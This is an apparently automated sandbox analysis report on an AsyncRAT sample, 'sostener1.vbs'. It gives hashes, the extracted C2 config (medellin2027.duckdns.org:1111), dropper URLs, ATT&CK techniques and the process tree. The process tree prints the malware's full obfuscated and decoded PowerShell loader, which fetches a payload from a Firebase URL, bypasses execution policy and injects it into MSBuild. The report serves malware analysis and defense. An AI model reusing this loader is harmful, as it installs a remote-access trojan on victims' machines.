asyncrat | 1ef5779b9c6e0d1336f61ca42ed01e7a191da15a151ed0954bf09f9cf1773963

Analysis

max time kernel
100s
max time network
157s
platform
windows11-21h2_x64
resource
win11-20250619-en
resource tags

arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
submitted
01/10/2025, 11:38

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General

Target
sostener1.vbs
Size 8.9MB
Sample251001-nr6lpsel2w
SHA256 1ef5779b9c6e0d1336f61ca42ed01e7a191da15a151ed0954bf09f9cf1773963
MD5 47cb5143441e9fbd181bf5637ff1bf11
SHA1 6a8184f065d15a0e20cdc63bac64c0f302a1261f
SHA512 05546c4a1abdc70010a2d3cddf23a261d307d18593cea831b7b03c0acb14fef3f06fc4a18ff6c8862294b2ac468f6ce182c7822aa9cfcbeec3e0c8f351ce3b84
SSDEEP 192:GgNNNgNNNNNAgNNNNNgNNNgNNNNNAgNNNggNNNgNNNNNAgNNNgNNNNNAgNNNgNNC:CbS7XmGfFo0oWoky
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

medellin discovery execution asyncrat rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/ab23%2Fdllskyyyyyyyyyyyyyyy.txt?alt=media&token=ba6fc66c-551c-42b7-934c-808e6e48e247
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/ab23%2Fdllskyyyyyyyyyyyyyyy.txt?alt=media&token=ba6fc66c-551c-42b7-934c-808e6e48e247

Extracted

Family

asyncrat

Version

1.0.7

Botnet

medellin

medellin2027.duckdns.org:1111

Mutex

DcRat*66Mutex_qwqdanchundedfCCCC

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2204	powershell.exe
3	4896	powershell.exe
5	4896	powershell.exe
6	4896	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1748	powershell.exe
2204	powershell.exe
4896	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4896 set thread context of 4704	4896	powershell.exe	82

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1748	powershell.exe
1748	powershell.exe
2204	powershell.exe
2204	powershell.exe
4896	powershell.exe
4896	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1748	powershell.exe
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	4896	powershell.exe
Token: SeDebugPrivilege	4704	MSBuild.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 5920 wrote to memory of 1748	5920	WScript.exe	78
PID 5920 wrote to memory of 1748	5920	WScript.exe	78
PID 1748 wrote to memory of 2204	1748	powershell.exe	80
PID 1748 wrote to memory of 2204	1748	powershell.exe	80
PID 2204 wrote to memory of 4896	2204	powershell.exe	81
PID 2204 wrote to memory of 4896	2204	powershell.exe	81
PID 4896 wrote to memory of 4704	4896	powershell.exe	82
PID 4896 wrote to memory of 4704	4896	powershell.exe	82
PID 4896 wrote to memory of 4704	4896	powershell.exe	82
PID 4896 wrote to memory of 4704	4896	powershell.exe	82
PID 4896 wrote to memory of 4704	4896	powershell.exe	82
PID 4896 wrote to memory of 4704	4896	powershell.exe	82
PID 4896 wrote to memory of 4704	4896	powershell.exe	82
PID 4896 wrote to memory of 4704	4896	powershell.exe	82

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener1.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:5920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL2FiMjMlMkZkbGxza3l5eXl5eXl5eXl5eXl5eS50eHQ/YWx0PW1lZGlhJnRva2VuPWJhNmZjNjZjLTU1MWMtNDJiNy05MzRjLTgwOGU2ZTQ4ZTI0NycgOyRQeFB5dC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKTskd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC☹7JExXaEFjID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZyggJHpGS2FBICkgOyRMV2hBYyB8IE91dC1GaWxlIC1GaWxlUGF0aC☹kUHhQeXQgLUVuY29kaW5nICdVVEY4Jy☹tZm9yY2UgOyRTVGZHbC☹9ICggW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKS☹rICdHT0FhcC50eHQnKS☹7JERRZFBVID0gJ0xvYWQnIDskZm5tU0wgPS☹nSW52b2tlJzskUGFuQk4gPS☹kbnVsbDskSXFIcVEgPS☹gJzskeC☹9IChKb2luLVBhdGggJGVudjpURU1QICcnR09BYX☹udHh0JycpOyRyeWFlRy☹9IChHZXQtQ29udGVudC☹tUGF0aC☹keC☹tRW5jb2RpbmcgVVRGOCk7JHJ5YWVHID0gJHJ5YWVHLnJlcGxhY2UoJyckJCcnLC☹nJ0EnJyk7Jy☹7JElxSHFRICs9ICdbQnl0ZVtdXS☹ka1hUZmkgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC☹kcnlhZUcgKS☹7Jy☹7JElxSHFRICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jy☹rICc6Q3VycmVudERvbWFpbi4nICsgJERRZFBVICsgJyggJGtYVGZpICkuJy☹7JElxSHFRICs9ICdHZXRUeXBlKC☹nJ0NsYXNzTGlicmFyeTMuQ2xhc3MxJycgKS5HZXRNJy☹7JElxSHFRICs9ICdldGhvZCggJydNc3FCSWJZJycgKS4nICsgJGZubVNMICsgJyggJFBhbkJOICwgW29iamVjdFtdXS☹oICggJydNUUE5QUd3QVpBQW1BRGdBTndCdEFHWUFjUUIxQURVQU5RQTlBSFFBY3dBbUFHd0FZZ0F4QURVQVlRQjRBR1FBYmdCdkFHTUFkUUJpQUdnQVl3QnhBSEVBTWdBd0FEY0Fad0J5QURjQWN3QnVBRFlBUFFCNUFHVUFhd0JzQUhJQVB3QjBBSGdBZEFBdUFFNEFTUUJNQUV3QVJRQkVBRVVBVFFBdkFHTUFZUUEwQURBQU1nQjFBSGtBTUFCMkFHNEFjQUExQUdNQWJRQjJBR01BZWdBeEFIb0FPUUIzQUM4QWFRQm1BQzhBYkFCakFITUFMd0J0QUc4QVl3QXVBSGdBYndCaUFIQUFid0J5QUdRQUxnQjNBSGNBZHdBdkFDOEFPZ0J6QUhBQWRBQjBBR2dBJycgKS☹sICcnJUprUWFzRGZnclRnJScnICwgJycuLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$RtBnZxsXcdF = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$RtBnZxsXcdF = ($RtBnZxsXcdF -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$sostener1.vbs');powershell $RtBnZxsXcdF;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/ab23%2Fdllskyyyyyyyyyyyyyyy.txt?alt=media&token=ba6fc66c-551c-42b7-934c-808e6e48e247' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''MQA9AGwAZAAmADgANwBtAGYAcQB1ADUANQA9AHQAcwAmAGwAYgAxADUAYQB4AGQAbgBvAGMAdQBiAGgAYwBxAHEAMgAwADcAZwByADcAcwBuADYAPQB5AGUAawBsAHIAPwB0AHgAdAAuAE4ASQBMAEwARQBEAEUATQAvAGMAYQA0ADAAMgB1AHkAMAB2AG4AcAA1AGMAbQB2AGMAegAxAHoAOQB3AC8AaQBmAC8AbABjAHMALwBtAG8AYwAuAHgAbwBiAHAAbwByAGQALgB3AHcAdwAvAC8AOgBzAHAAdAB0AGgA'' ) , ''C:$Users$Admin$AppData$Local$Temp$sostener1.vbs'' , ''............................////////////////////////'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2204
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\DvVbs.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4896
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4704

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 bb6b550d5cd09727f108d2a623f0cfb806a12fa5998a05be4b5bea7a9efc463c
MD5 306d313af3aa7efaced6bd67e2baa233
SHA1 207904cbacb4aa3535230ff79b09a4064393aa49
SHA512 7c24f75b14542ab6157f0b6496f8ec530e54cc19fc9990d0097e76977c5978d5a5f36cd09f09f1623a937258ac6303cdd70d53a6f70dce7187aee4ceb0cbd1da
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 137bf90e25dbe4f70e614b7f6e61cba6c904c664858e1fe2bc749490b4a064c0
MD5 5e6baeec02c3d93dce26652e7acebc90
SHA1 937a7b4a0d42ea56e21a1a00447d899a2aca3c28
SHA512 461990704004d7be6f273f1cee94ea73e2d47310bac05483fd98e3c8b678c42e7625d799ac76cf47fe5e300e7d709456e8c18f9854d35deb8721f6802d24bea4
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
MD5 SHA1 SHA512

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DvVbs.ps1

Path C:\Users\Admin\AppData\Local\Temp\DvVbs.ps1
Size 1KB
SHA256 ddee64d31778a732c150a9e66db12b66dceb5848b425edff696d2a8b2e7cccad
MD5 89ffc139cdeeef364d4291f4b282dba1
SHA1 22ba21d140795754a6317c8e0c407f6f31992017
SHA512 85d03acb5f68461c72a3b32bc55e135310ffa20990a7b19bb3b7c2dbdf6dbdbf6c4e562b6a41c38f9e3d61e13d47a14f04f2d3b4e7591f3e7a0489a69cef0b30
MD5 SHA1 SHA512

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GOAap.txt

Path C:\Users\Admin\AppData\Local\Temp\GOAap.txt
Size 20KB
SHA256 33d44b5c40121c78e8387cd409e2302e82f3dae826333b1a33a070a3df33be30
MD5 95717898cc225529558babec7f41e667
SHA1 1827a535fae375297a9999ffb7b939a7ed3c6e52
SHA512 f4d1432d253269cee5b3d842359720fdb2ca954ebbc7ec39210d206816b8d8deaa6c04eae5b5a652719ab43fae4d3e6f2caa99fbbcb538e159fc72919019c571
SSDEEP 384:P9mcjbjF4JTsfJDd9/BMmEJ29LetAPRkdCYEMQFC1ls/8GXw/:PAgbhhBX6mEJ2ctAZ/XFC1l7GXs
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_vdcqulnd.ifn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vdcqulnd.ifn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1748-10-0x0000023E54D70000-0x0000023E54D80000-memory.dmp

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memory/1748-0-0x0000023E54D70000-0x0000023E54D80000-memory.dmp

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memory/1748-1-0x0000023E54D30000-0x0000023E54D52000-memory.dmp

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memory/4704-33-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/4704-43-0x0000000005DE0000-0x0000000005E7C000-memory.dmp

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memory/4704-44-0x0000000006650000-0x0000000006BF6000-memory.dmp

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memory/4704-45-0x0000000006110000-0x0000000006176000-memory.dmp

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memory/4896-32-0x000001F63A2E0000-0x000001F63A2EA000-memory.dmp

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memory/4896-31-0x000001F63A150000-0x000001F63A15A000-memory.dmp

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